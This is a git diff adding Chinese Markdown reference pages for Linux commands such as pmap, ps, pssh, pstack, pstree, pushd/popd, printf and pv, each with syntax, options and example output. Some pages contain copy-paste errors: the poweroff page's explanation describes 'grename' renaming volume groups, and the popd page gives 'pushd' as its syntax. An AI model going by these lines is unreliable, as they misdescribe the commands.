-0,0 +1,124 @@ +pmap +=== + +报告进程的内存映射关系 + +## 补充说明 + +**pmap命令** 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。 + +### 语法 + +``` +pmap(选项)(参数) +``` + +### 选项 + +``` +-x:显示扩展格式; +-d:显示设备格式; +-q:不显示头尾行; +-V:显示指定版本。 +``` + +### 参数 + +进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。 + +### 实例 + +``` +pidof nginx +13312 5371 + +pmap -x 5371 +5371: nginx: worker process +Address Kbytes RSS Dirty Mode Mapping +0000000000400000 564 344 0 r-x-- nginx +000000000068c000 68 68 60 rw--- nginx +000000000069d000 56 12 12 rw--- [ anon ] +000000000a0c8000 1812 1684 1684 rw--- [ anon ] +0000003ac0a00000 112 40 0 r-x-- ld-2.5.so +0000003ac0c1c000 4 4 4 r---- ld-2.5.so +0000003ac0c1d000 4 4 4 rw--- ld-2.5.so +0000003ac0e00000 1340 284 0 r-x-- libc-2.5.so +0000003ac0f4f000 2044 0 0 ----- libc-2.5.so +0000003ac114e000 16 16 8 r---- libc-2.5.so +0000003ac1152000 4 4 4 rw--- libc-2.5.so +0000003ac1153000 20 20 20 rw--- [ anon ] +0000003ac1200000 8 4 0 r-x-- libdl-2.5.so +0000003ac1202000 2048 0 0 ----- libdl-2.5.so +0000003ac1402000 4 4 4 r---- libdl-2.5.so +0000003ac1403000 4 4 4 rw--- libdl-2.5.so +0000003ac1600000 84 0 0 r-x-- libselinux.so.1 +0000003ac1615000 2048 0 0 ----- libselinux.so.1 +0000003ac1815000 8 8 8 rw--- libselinux.so.1 +0000003ac1817000 4 4 4 rw--- [ anon ] +0000003ac1a00000 236 0 0 r-x-- libsepol.so.1 +0000003ac1a3b000 2048 0 0 ----- libsepol.so.1 +0000003ac1c3b000 4 4 4 rw--- libsepol.so.1 +0000003ac1c3c000 40 0 0 rw--- [ anon ] +0000003ac1e00000 88 44 0 r-x-- libpthread-2.5.so +0000003ac1e16000 2048 0 0 ----- libpthread-2.5.so +0000003ac2016000 4 4 4 r---- libpthread-2.5.so +0000003ac2017000 4 4 4 rw--- libpthread-2.5.so +0000003ac2018000 16 4 4 rw--- [ anon ] +0000003ac2600000 80 52 0 r-x-- libz.so.1.2.3 +0000003ac2614000 2044 0 0 ----- libz.so.1.2.3 +0000003ac2813000 4 4 4 rw--- libz.so.1.2.3 +0000003ac2a00000 36 4 0 r-x-- libcrypt-2.5.so +0000003ac2a09000 2044 0 0 ----- libcrypt-2.5.so +0000003ac2c08000 4 4 4 r---- libcrypt-2.5.so +0000003ac2c09000 4 4 4 rw--- libcrypt-2.5.so +0000003ac2c0a000 184 0 0 rw--- [ anon ] +0000003ac3600000 8 0 0 r-x-- libkeyutils-1.2.so +0000003ac3602000 2044 0 0 ----- libkeyutils-1.2.so +0000003ac3801000 4 4 4 rw--- libkeyutils-1.2.so +0000003ac3a00000 68 0 0 r-x-- libresolv-2.5.so +0000003ac3a11000 2048 0 0 ----- libresolv-2.5.so +0000003ac3c11000 4 4 4 r---- libresolv-2.5.so +0000003ac3c12000 4 4 4 rw--- libresolv-2.5.so +0000003ac3c13000 8 0 0 rw--- [ anon ] +0000003ac3e00000 8 0 0 r-x-- libcom_err.so.2.1 +0000003ac3e02000 2044 0 0 ----- libcom_err.so.2.1 +0000003ac4001000 4 4 4 rw--- libcom_err.so.2.1 +0000003ac4200000 1204 8 0 r-x-- libcrypto.so.0.9.8e +0000003ac432d000 2044 0 0 ----- libcrypto.so.0.9.8e +0000003ac452c000 132 88 12 rw--- libcrypto.so.0.9.8e +0000003ac454d000 16 12 12 rw--- [ anon ] +0000003ac4600000 176 0 0 r-x-- libgssapi_krb5.so.2.2 +0000003ac462c000 2048 0 0 ----- libgssapi_krb5.so.2.2 +0000003ac482c000 8 8 8 rw--- libgssapi_krb5.so.2.2 +0000003ac4a00000 144 0 0 r-x-- libk5crypto.so.3.1 +0000003ac4a24000 2044 0 0 ----- libk5crypto.so.3.1 +0000003ac4c23000 8 8 8 rw--- libk5crypto.so.3.1 +0000003ac4e00000 32 0 0 r-x-- libkrb5support.so.0.1 +0000003ac4e08000 2044 0 0 ----- libkrb5support.so.0.1 +0000003ac5007000 4 4 4 rw--- libkrb5support.so.0.1 +0000003ac5200000 580 0 0 r-x-- libkrb5.so.3.3 +0000003ac5291000 2048 0 0 ----- libkrb5.so.3.3 +0000003ac5491000 16 16 12 rw--- libkrb5.so.3.3 +0000003ac5a00000 288 4 0 r-x-- libssl.so.0.9.8e +0000003ac5a48000 2048 0 0 ----- libssl.so.0.9.8e +0000003ac5c48000 24 16 12 rw--- libssl.so.0.9.8e +00002b5751808000 8 8 8 rw--- [ anon ] +00002b5751810000 108 36 0 r-x-- libpcre.so.1.2.0 +00002b575182b000 2044 0 0 ----- libpcre.so.1.2.0 +00002b5751a2a000 4 4 4 rw--- libpcre.so.1.2.0 +00002b5751a2b000 28 28 28 rw--- [ anon ] +00002b5751a32000 40 20 0 r-x-- libnss_files-2.5.so +00002b5751a3c000 2044 0 0 ----- libnss_files-2.5.so +00002b5751c3b000 4 4 4 r---- libnss_files-2.5.so +00002b5751c3c000 4 4 4 rw--- libnss_files-2.5.so +00002b5751c3d000 4 4 4 rw-s- zero (deleted) +00002b5751c3e000 20012 20000 20000 rw--- [ anon ] +00007fffbf2ce000 84 20 20 rw--- [ stack ] +00007fffbf35e000 12 0 0 r-x-- [ anon ] +ffffffffff600000 8192 0 0 ----- [ anon ] +---------------- ------ ------ ------ +total kB 72880 22940 22000 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/popd.md b/LearnShell/LinuxCommands/popd.md new file mode 100644 index 0000000..08de8fe --- /dev/null +++ b/LearnShell/LinuxCommands/popd.md @@ -0,0 +1,41 @@ +popd +=== + +用于删除目录栈中的记录 + +## 补充说明 + +**popd命令** 用于删除目录栈中的记录;如果popd命令不加任何参数,则会先删除目录栈最上面的记录,然后切换到删除过后的目录栈中的最上面的目录。 + +### 语法 + +``` +pushd(选项)(参数) +``` + +### 选项 + +``` ++N:将第N个目录删除(从左边数起,数字从0开始); +-N:将第N个目录删除(从右边数起,数字从0开始); +-n:将目录出栈时,不切换目录。 +``` + +### 实例 + +``` +root@Mylinux:/tmp/dir4# popd(相当于popd +0) +/tmp/dir3 /tmp/dir2 /tmp/dir1 ~ + +root@Mylinux:/tmp/dir3# pushd /tmp/dir4 +/tmp/dir4 /tmp/dir3 /tmp/dir2 /tmp/dir1 ~ + +root@Mylinux:/tmp/dir4# popd +1 +/tmp/dir4 /tmp/dir2 /tmp/dir1 ~ + +root@Mylinux:/tmp/dir4# popd -2 +/tmp/dir4 /tmp/dir1 ~ +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/poweroff.md b/LearnShell/LinuxCommands/poweroff.md new file mode 100644 index 0000000..b96eb1d --- /dev/null +++ b/LearnShell/LinuxCommands/poweroff.md @@ -0,0 +1,35 @@ +poweroff +=== + +关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中。 + +## 补充说明 + +**grename命令** 可以重命名卷组的名称。 + +### 语法 + +``` +poweroff [选项] +``` + +### 选项 + +``` +-n 关闭之前不同步 +-p 当被称为halt时关闭电源 +-v 增加输出,包括消息 +-q 降低输出错误唯一的消息 +-w 并不实际关闭系统,只是写入/var/log/wtmp文件中 +-f 强制关机,不调用shutdown +``` + +### 例子 + +关闭Linux系统。 + +```bash +[root@localhost ~]# poweroff +``` + + diff --git a/LearnShell/LinuxCommands/ppp-off.md b/LearnShell/LinuxCommands/ppp-off.md new file mode 100644 index 0000000..5b01ee5 --- /dev/null +++ b/LearnShell/LinuxCommands/ppp-off.md @@ -0,0 +1,17 @@ +ppp-off +=== + +关闭ppp连线 + +## 补充说明 + +这是Slackware发行版内附的程序,让用户切断PPP的网络连线。 + +### 语法 + +``` +ppp-off +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pr.md b/LearnShell/LinuxCommands/pr.md new file mode 100644 index 0000000..f9f497c --- /dev/null +++ b/LearnShell/LinuxCommands/pr.md @@ -0,0 +1,28 @@ +pr +=== + +将文本文件转换成适合打印的格式 + +## 补充说明 + +**pr命令** 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。 + +### 语法 + +``` +pr(选项)(参数) +``` + +### 选项 + +``` +-h<标题>:为页指定标题; +-l<行数>:指定每页的行数。 +``` + +### 参数 + +文件:需要转换格式的文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/printf.md b/LearnShell/LinuxCommands/printf.md new file mode 100644 index 0000000..c15ad1a --- /dev/null +++ b/LearnShell/LinuxCommands/printf.md @@ -0,0 +1,73 @@ +printf +=== + +格式化并输出结果 + +## 补充说明 + +**printf命令** 格式化并输出结果到标准输出。 + +### 语法 + +``` +printf(选项)(参数) +--help:在线帮助; +--version:显示版本信息。 +``` + +### 参数 + +* 输出格式:指定数据输出时的格式; +* 输出字符串:指定要输出的数据。 + + **格式替代符** + +* %b 相对应的参数被视为含有要被处理的转义序列之字符串。 +* %c ASCII字符。显示相对应参数的第一个字符 +* %d, %i 十进制整数 +* %e, %E, %f 浮点格式 +* %g %e或%f转换,看哪一个较短,则删除结尾的零 +* %G %E或%f转换,看哪一个较短,则删除结尾的零 +* %o 不带正负号的八进制值 +* %s 字符串 +* %u 不带正负号的十进制值 +* %x 不带正负号的十六进制值,使用a至f表示10至15 +* %X 不带正负号的十六进制值,使用A至F表示10至15 +* %% 字面意义的% + + **转义序列** + +* \a 警告字符,通常为ASCII的BEL字符 +* \b 后退 +* \c 抑制(不显示)输出结果中任何结尾的换行字符(只在%b格式指示符控制下的参数字符串中有效),而且,任何留在参数里的字符、任何接下来的参数以及任何留在格式字符串中的字符,都被忽略 +* \f 换页(formfeed) +* \n 换行 +* \r 回车(Carriage return) +* \t 水平制表符 +* \v 垂直制表符 +* \\ 一个字面上的反斜杠字符 +* \ddd 表示1到3位数八进制值的字符,仅在格式字符串中有效 +* \0ddd 表示1到3位的八进制值字符 + +### 实例 + +``` +printf "hello world" + +``` + +``` +#!/bin/bash + +printf "%-5s %-10s %-4s\n" NO Name Mark +printf "%-5s %-10s %-4.2f\n" 01 Tom 90.3456 +printf "%-5s %-10s %-4.2f\n" 02 Jack 89.2345 +printf "%-5s %-10s %-4.2f\n" 03 Jeff 98.4323 + +``` + +* %-5s 格式为左对齐且宽度为5的字符串代替(-表示左对齐),不使用则是又对齐。 +* %-4.2f 格式为左对齐宽度为4,保留两位小数。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/protoize.md b/LearnShell/LinuxCommands/protoize.md new file mode 100644 index 0000000..94c7338 --- /dev/null +++ b/LearnShell/LinuxCommands/protoize.md @@ -0,0 +1,28 @@ +protoize +=== + +GNU-C代码转换为ANSI-C代码 + +## 补充说明 + +**protoize命令** 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码。 + +### 语法 + +``` +protoize(选项)(参数) +``` + +### 选项 + +``` +-d:设置需要转换代码的目录; +-x:转换代码时排除的文件。 +``` + +### 参数 + +文件:需要转换代码的C语言源文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ps.md b/LearnShell/LinuxCommands/ps.md new file mode 100644 index 0000000..3111ace --- /dev/null +++ b/LearnShell/LinuxCommands/ps.md @@ -0,0 +1,99 @@ +ps +=== + +报告当前系统的进程状态 + +## 补充说明 + +**ps命令** 用于报告当前系统的进程状态。可以搭配kill指令随时中断、删除不必要的程序。ps命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等,总之大部分信息都是可以通过执行该命令得到的。 + +### 语法 + +``` +ps(选项) +``` + +### 选项 + +``` +-a:显示所有终端机下执行的程序,除了阶段作业领导者之外。 +a:显示现行终端机下的所有程序,包括其他用户的程序。 +-A:显示所有程序。 +-c:显示CLS和PRI栏位。 +c:列出程序时,显示每个程序真正的指令名称,而不包含路径,选项或常驻服务的标示。 +-C<指令名称>:指定执行指令的名称,并列出该指令的程序的状况。 +-d:显示所有程序,但不包括阶段作业领导者的程序。 +-e:此选项的效果和指定"A"选项相同。 +e:列出程序时,显示每个程序所使用的环境变量。 +-f:显示UID,PPIP,C与STIME栏位。 +f:用ASCII字符显示树状结构,表达程序间的相互关系。 +-g<群组名称>:此选项的效果和指定"-G"选项相同,当亦能使用阶段作业领导者的名称来指定。 +g:显示现行终端机下的所有程序,包括群组领导者的程序。 +-G<群组识别码>:列出属于该群组的程序的状况,也可使用群组名称来指定。 +h:不显示标题列。 +-H:显示树状结构,表示程序间的相互关系。 +-j或j:采用工作控制的格式显示程序状况。 +-l或l:采用详细的格式来显示程序状况。 +L:列出栏位的相关信息。 +-m或m:显示所有的执行绪。 +n:以数字来表示USER和WCHAN栏位。 +-N:显示所有的程序,除了执行ps指令终端机下的程序之外。 +-p<程序识别码>:指定程序识别码,并列出该程序的状况。 +p<程序识别码>:此选项的效果和指定"-p"选项相同,只在列表格式方面稍有差异。 +r:只列出现行终端机正在执行中的程序。 +-s<阶段作业>:指定阶段作业的程序识别码,并列出隶属该阶段作业的程序的状况。 +s:采用程序信号的格式显示程序状况。 +S:列出程序时,包括已中断的子程序资料。 +-t<终端机编号>:指定终端机编号,并列出属于该终端机的程序的状况。 +t<终端机编号>:此选项的效果和指定"-t"选项相同,只在列表格式方面稍有差异。 +-T:显示现行终端机下的所有程序。 +-u<用户识别码>:此选项的效果和指定"-U"选项相同。 +u:以用户为主的格式来显示程序状况。 +-U<用户识别码>:列出属于该用户的程序的状况,也可使用用户名称来指定。 +U<用户名称>:列出属于该用户的程序的状况。 +v:采用虚拟内存的格式显示程序状况。 +-V或V:显示版本信息。 +-w或w:采用宽阔的格式来显示程序状况。  +x:显示所有程序,不以终端机来区分。 +X:采用旧式的Linux i386登陆格式显示程序状况。 +-y:配合选项"-l"使用时,不显示F(flag)栏位,并以RSS栏位取代ADDR栏位 。 +-<程序识别码>:此选项的效果和指定"p"选项相同。 +--cols<每列字符数>:设置每列的最大字符数。 +--columns<每列字符数>:此选项的效果和指定"--cols"选项相同。 +--cumulative:此选项的效果和指定"S"选项相同。 +--deselect:此选项的效果和指定"-N"选项相同。 +--forest:此选项的效果和指定"f"选项相同。 +--headers:重复显示标题列。 +--help:在线帮助。 +--info:显示排错信息。 +--lines<显示列数>:设置显示画面的列数。 +--no-headers:此选项的效果和指定"h"选项相同,只在列表格式方面稍有差异。 +--group<群组名称>:此选项的效果和指定"-G"选项相同。 +--Group<群组识别码>:此选项的效果和指定"-G"选项相同。 +--pid<程序识别码>:此选项的效果和指定"-p"选项相同。 +--rows<显示列数>:此选项的效果和指定"--lines"选项相同。 +--sid<阶段作业>:此选项的效果和指定"-s"选项相同。 +--tty<终端机编号>:此选项的效果和指定"-t"选项相同。 +--user<用户名称>:此选项的效果和指定"-U"选项相同。 +--User<用户识别码>:此选项的效果和指定"-U"选项相同。 +--version:此选项的效果和指定"-V"选项相同。 +--widty<每列字符数>:此选项的效果和指定"-cols"选项相同。 +``` + +由于ps命令能够支持的系统类型相当的多,所以选项多的离谱! + +### 实例 + +按内存资源的使用量对进程进行排序 + +``` +ps aux | sort -rnk 4 +``` + +按 CPU 资源的使用量对进程进行排序 + +``` +ps aux | sort -nk 3 +``` + + diff --git a/LearnShell/LinuxCommands/pssh.md b/LearnShell/LinuxCommands/pssh.md new file mode 100644 index 0000000..96e88b2 --- /dev/null +++ b/LearnShell/LinuxCommands/pssh.md @@ -0,0 +1,106 @@ +pssh +=== + +批量管理执行 + +## 补充说明 + +**pssh命令** 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。 + +### 安装pssh + +在CentOS系统环境下,介绍yum的安装和源码安装的方式: + + **yum方法** + +``` +yum install pssh +``` + + **编译安装** + +``` +wget http://parallel-ssh.googlecode.com/files/pssh-2.3.1.tar.gz +tar xf pssh-2.3.1.tar.gz +cd pssh-2.3.1/ +python setup.py install +``` + +### 选项 + +``` +--version:查看版本 +--help:查看帮助,即此信息 +-h:主机文件列表,内容格式”[user@]host[:port]” +-H:主机字符串,内容格式”[user@]host[:port]” +-:登录使用的用户名 +-p:并发的线程数【可选】 +-o:输出的文件目录【可选】 +-e:错误输入文件【可选】 +-t:TIMEOUT 超时时间设置,0无限制【可选】 +-O:SSH的选项 +-v:详细模式 +-A:手动输入密码模式 +-x:额外的命令行参数使用空白符号,引号,反斜线处理 +-X:额外的命令行参数,单个参数模式,同-x +-i:每个服务器内部处理信息输出 +-P:打印出服务器返回信息 +``` + +### 实例 + +获取每台服务器的uptime: + +``` +# pssh -h ip.txt -i uptime +[1] 11:15:03 [SUCCESS] Mar.mars.he +11:15:11 up 4 days, 16:25, 1 user, load average: 0.00, 0.00, 0.00 +[2] 11:15:03 [SUCCESS] Jan.mars.he +11:15:12 up 3 days, 23:26, 0 users, load average: 0.00, 0.00, 0.00 +[3] 11:15:03 [SUCCESS] Feb.mars.he +11:15:12 up 4 days, 16:26, 2 users, load average: 0.08, 0.02, 0.01 +``` + +查看每台服务器上mysql复制IO/SQL线程运行状态信息: + +``` +# pssh -h IP.txt -i "/usr/local/mysql/bin/mysql -e 'show slave status \G'"|grep Running: + Slave_IO_Running: yes + Slave_SQL_Running: Yes + Slave_IO_Running: Yes + Slave_SQL_Running: Yes + Slave_IO_Running: Yes + Slave_SQL_Running: Yes +``` + +保存每台服务器运行的结果: + +``` +# pssh -h IP.txt -i -o /tmp/pssh/ uptime +[1] 11:19:47 [SUCCESS] Feb.mars.he +11:19:55 up 4 days, 16:31, 2 users, load average: 0.02, 0.03, 0.00 +[2] 11:19:47 [SUCCESS] Jan.mars.he +11:19:56 up 3 days, 23:30, 0 users, load average: 0.01, 0.00, 0.00 +[3] 11:19:47 [SUCCESS] Mar.mars.he +11:19:56 up 4 days, 16:30, 1 user, load average: 0.00, 0.00, 0.00 +``` + +我们来看一下/tmp/pssh/下的文件及其内容 + +``` +# ll /tmp/pssh/ +总用量 12 +-rw-r--r--. 1 root root 70 12月 1 11:19 Feb.mars.he +-rw-r--r--. 1 root root 70 12月 1 11:19 Jan.mars.he +-rw-r--r--. 1 root root 69 12月 1 11:19 Mar.mars.he + +# cat /tmp/pssh/* +11:19:55 up 4 days, 16:31, 2 users, load average: 0.02, 0.03, 0.00 +11:19:56 up 3 days, 23:30, 0 users, load average: 0.01, 0.00, 0.00 +11:19:56 up 4 days, 16:30, 1 user, load average: 0.00, 0.00, 0.00 +``` + +上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pstack.md b/LearnShell/LinuxCommands/pstack.md new file mode 100644 index 0000000..561ba23 --- /dev/null +++ b/LearnShell/LinuxCommands/pstack.md @@ -0,0 +1,101 @@ +pstack +=== + +显示每个进程的栈跟踪 + +## 补充说明 + +**pstack命令** 可显示每个进程的栈跟踪。pstack 命令必须由相应进程的属主或 root 运行。可以使用 pstack 来确定进程挂起的位置。此命令允许使用的唯一选项是要检查的进程的 PID。 + +命令软件包下载地址:https://packages.debian.org/sid/pstack + +### 实例 + +pstree以树结构显示进程 + +``` +pstree -p work | grep ad +sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552) + |-{ad_preprocess}(4553) + |-{ad_preprocess}(4554) + |-{ad_preprocess}(4555) + |-{ad_preprocess}(4556) + `-{ad_preprocess}(4557) +``` + +work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程。 + +``` +ps -Lf 4551 +UID PID PPID LWP C NLWP STIME TTY stat time CMD +work 4551 22670 4551 2 7 16:30 pts/2 Sl+ 0:02 ./ad_preprocess +work 4551 22670 4552 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess +work 4551 22670 4553 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess +work 4551 22670 4554 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess +work 4551 22670 4555 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess +work 4551 22670 4556 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess +work 4551 22670 4557 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess +``` + +进程共启动了7个线程 + +pstack显示每个进程的栈跟踪: + +``` +pstack 4551 +Thread 7 (Thread 1084229984 (LWP 4552)): +#0 0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6 +#1 0x00000000006f0730 in ub::EPollEx::poll () +#2 0x00000000006f172a in ub::NetReactor::callback () +#3 0x00000000006fbbbb in ub::UBTask::CALLBACK () +#4 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0 +#5 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6 +#6 0x0000000000000000 in ?? () +Thread 6 (Thread 1094719840 (LWP 4553)): +#0 0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6 +#1 0x00000000006f0730 in ub::EPollEx::poll () +#2 0x00000000006f172a in ub::NetReactor::callback () +#3 0x00000000006fbbbb in ub::UBTask::CALLBACK () +#4 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0 +#5 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6 +#6 0x0000000000000000 in ?? () +Thread 5 (Thread 1105209696 (LWP 4554)): +#0 0x000000302b80baa5 in __nanosleep_nocancel () +#1 0x000000000079e758 in comcm::ms_sleep () +#2 0x00000000006c8581 in ub::UbClientManager::healthyCheck () +#3 0x00000000006c8471 in ub::UbClientManager::start_healthy_check () +#4 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0 +#5 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6 +#6 0x0000000000000000 in ?? () +Thread 4 (Thread 1115699552 (LWP 4555)): +#0 0x000000302b80baa5 in __nanosleep_nocancel () +#1 0x0000000000482b0e in armor::armor_check_thread () +#2 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0 +#3 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6 +#4 0x0000000000000000 in ?? () +Thread 3 (Thread 1126189408 (LWP 4556)): +#0 0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6 +#1 0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6 +#2 0x000000000044c972 in Business_config_manager::run () +#3 0x0000000000457b83 in Thread::run_thread () +#4 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0 +#5 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6 +#6 0x0000000000000000 in ?? () +Thread 2 (Thread 1136679264 (LWP 4557)): +#0 0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6 +#1 0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6 +#2 0x00000000004524bb in Process_thread::sleep_period () +#3 0x0000000000452641 in Process_thread::run () +#4 0x0000000000457b83 in Thread::run_thread () +#5 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0 +#6 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6 +#7 0x0000000000000000 in ?? () +Thread 1 (Thread 182894129792 (LWP 4551)): +#0 0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6 +#1 0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6 +#2 0x0000000000420d79 in Ad_preprocess::run () +#3 0x0000000000450ad0 in main () +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pstree.md b/LearnShell/LinuxCommands/pstree.md new file mode 100644 index 0000000..9192d27 --- /dev/null +++ b/LearnShell/LinuxCommands/pstree.md @@ -0,0 +1,58 @@ +pstree +=== + +以树状图的方式展现进程之间的派生关系 + +## 补充说明 + +**pstree命令** 以树状图的方式展现进程之间的派生关系,显示效果比较直观。 + +### 语法 + +``` +pstree(选项) +``` + +### 选项 + +``` +-a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示; +-c:不使用精简标示法; +-G:使用VT100终端机的列绘图字符; +-h:列出树状图时,特别标明现在执行的程序; +-H<程序识别码>:此参数的效果和指定"-h"参数类似,但特别标明指定的程序; +-l:采用长列格式显示树状图; +-n:用程序识别码排序。预设是以程序名称来排序; +-p:显示程序识别码; +-u:显示用户名称; +-U:使用UTF-8列绘图字符; +-V:显示版本信息。 +``` + +### 实例 + +显示当前所有进程的进程号和进程id + +``` +pstree -p +``` + +显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示。 + +```bash +pstree -a +``` + +获取 SSH 会话的 PID + +``` +pstree -p | grep ssh + +# |-sshd(1221)-+-sshd(2768)---bash(2770)-+-grep(2810) +# | `-sshd(2807)---sshd(2808) +``` + +从上方的输出中,你可以看到 sshd 进程与分支的树形图。sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807)。 + + + diff --git a/LearnShell/LinuxCommands/pushd.md b/LearnShell/LinuxCommands/pushd.md new file mode 100644 index 0000000..3a8e1e8 --- /dev/null +++ b/LearnShell/LinuxCommands/pushd.md @@ -0,0 +1,44 @@ +pushd +=== + +将目录加入命令堆叠中 + +## 补充说明 + +**pushd命令** 是将目录加入命令堆叠中。如果指令没有指定目录名称,则会将当前的工作目录置入目录堆叠的最顶端。置入目录如果没有指定堆叠的位置,也会置入目录堆叠的最顶端,同时工作目录会自动切换到目录堆叠最顶端的目录去。 + +### 语法 + +``` +pushd(选项)(参数) +``` + +### 选项 + +``` +-n:只加入目录到堆叠中,不进行cd操作; ++n:删除从左到右的第n个目录,数字从0开始; +-n:删除从右到左的第n个目录,数字从0开始; +``` + +### 参数 + +目录:需要压入堆栈的目录。 + +### 实例 + +``` +root@Mylinux:/tmp/dir4# pushd /tmp/dir3 +/tmp/dir3 /tmp/dir4 /tmp/dir1 ~ + +root@Mylinux:/tmp/dir3# pushd /tmp/dir2 +/tmp/dir2 /tmp/dir3 /tmp/dir4 /tmp/dir1 ~ + +root@Mylinux:/tmp/dir2# pushd -1 +/tmp/dir1 ~ /tmp/dir2 /tmp/dir3 /tmp/dir4 +``` + +注意:最左边表示栈顶,最右边表示栈底。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pv.md b/LearnShell/LinuxCommands/pv.md new file mode 100644 index 0000000..fab7f5b --- /dev/null +++ b/LearnShell/LinuxCommands/pv.md @@ -0,0 +1,102 @@ +pv +=== + +显示当前在命令行执行的命令的进度信息,管道查看器。 + +## 补充说明 + +**pv命令** Pipe Viewer 的简称,由Andrew Wood 开发。意思是通过管道显示数据处理进度的信息。这些信息包括已经耗费的时间,完成的百分比(通过进度条显示),当前的速度,全部传输的数据,以及估计剩余的时间。 + +## 下载安装 + +```bash +# Debian 系的操作系统,如 Ubuntu +sudo apt-get install pv + +# RedHat系的则这样: +yum install pv +``` + +### 语法 + +```bash +pv(选项)(参数) +pv [OPTION] [FILE]... +``` + +### 选项 + +``` +-p, --progress show progress bar +-t, --timer show elapsed time +-e, --eta show estimated time of arrival (completion) +-I, --fineta show absolute estimated time of arrival + (completion) +-r, --rate show data transfer rate counter +-a, --average-rate show data transfer average rate counter +-b, --bytes show number of bytes transferred +-T, --buffer-percent show percentage of transfer buffer in use +-A, --last-written NUM show NUM bytes last written +-F, --format FORMAT set output format to FORMAT +-n, --numeric 输出百分比 +-q, --quiet do not output any transfer information at all + +-W, --wait display nothing until first byte transferred +-D, --delay-start SEC display nothing until SEC seconds have passed +-s, --size SIZE set estimated data size to SIZE bytes +-l, --line-mode count lines instead of bytes +-0, --null lines are null-terminated +-i, --interval SEC update every SEC seconds +-w, --width WIDTH assume terminal is WIDTH characters wide +-H, --height HEIGHT assume terminal is HEIGHT rows high +-N, --name NAME prefix visual information with NAME +-f, --force output even if standard error is not a terminal +-c, --cursor use cursor positioning escape sequences + +-L, --rate-limit RATE limit transfer to RATE bytes per second +-B, --buffer-size BYTES use a buffer size of BYTES +-C, --no-splice never use splice(), always use read/write +-E, --skip-errors skip read errors in input +-S, --stop-at-size stop after --size bytes have been transferred +-R, --remote PID update settings of process PID + +-P, --pidfile FILE save process ID in FILE + +-d, --watchfd PID[:FD] watch file FD opened by process PID + +-h, --help 显示帮助 +-V, --version 显示版本信息 +``` + + +### 实例 + +我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。 + +```bash +# 复制文件会有进度 +linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/CentOS-7-x86_64-Minimal-1511.iso +# 下面输入信息 +552MiB 0:00:02 [ 212MiB/s] [==================> ] 91% ETA 0:00:00 + +# -L 可以让你修改 pv 命令的传输速率。 +# 使用 -L 选项来限制传输速率为2MB/s。 +pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv +``` + + +```bash +# 字符一个个匀速在命令行中显示出来 +echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10 + +# 压缩文件展示进度信息 +pv /media/himanshu/1AC2-A8E3/fnf.mkv | gzip > ./Desktop/fnf.log.gz + + +# 用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示 +sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m +## 显示下面进度 +source: 5.2GiB 5:11:41 [ 503KiB/s] [=====================> ] 71% ETA 2:01:56 +``` + + \ No newline at end of file diff --git 